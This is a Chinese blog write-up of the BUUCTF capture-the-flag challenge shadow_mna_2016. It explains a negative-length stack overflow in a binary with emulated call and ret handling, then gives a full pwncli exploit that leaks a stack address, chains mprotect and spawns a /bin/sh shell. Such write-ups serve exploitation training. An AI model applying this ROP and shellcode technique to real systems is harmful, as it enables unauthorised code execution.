Loading

[BUUCTF] shadow_mna_2016

shadow_mna_2016

总结

自定义了一套函数调用流程,手动模拟了push/pop/call/ret等。分析清楚每个指令的实现后,即可利用栈上的变量进行利用。

checksec

image-20220404005927723

远程环境不影响。

漏洞点

这里直接看汇编,更容易发现漏洞点。在message函数中:

image-20220404010056116

这里要输入name的时候,直接从栈上取的变量,可控制。

image-20220404010211189

长度可以位为负数,之后可以栈溢出。还可以发现,循环变量都是从栈上取的,也可以控制循环的次数。

利用思路

程序最后回到上一层使用的是:

image-20220404010328837

一开始的想法是控制这里的ebp,即可进行栈迁移。后来在写exp的过程中发现,在getnline(name, xxx)的时候,就已经可以rop了。

思路如下:

  • 首先利用栈溢出泄露出stack地址
  • 伪造namename_len,读入name,触发rop
  • 修改栈的可执行权限,执行shellcode即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


sla("Input name : ", "roderick")
sla("Message length : ", "-1")
sa("Input message : ", "a"*0x2b+"$")

ru("$")
m = rn(4)
stack_addr = u32_ex(m)
log_address_ex("stack_addr")

sla("Change name? (y/n) : ", "n")
sla("Message length : ", "-1")
sa("Input message : ", flat({
    0x20-4: [
        3, # i
        0,
        0,0,
        "dead", # *rbp
        0,
        stack_addr - 0xc4 - 0x60, # name
        0x1000, # name_len
        4 # let's try again
    ]
}))


payload = [
    elf.plt.mprotect,
    stack_addr - 0x80,
    (stack_addr - 0x104) & ~0xfff,
    0x2000,
    7,
    "\x90" * 0x100,
    ShellcodeMall.i386.execve_bin_sh
]

sla("Input name : ", flat({
    28:payload
}))

ia()

打远程:

image-20220404010824023

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

posted @ 2022-04-05 21:43  LynneHuan  阅读(57)  评论(0编辑  收藏  举报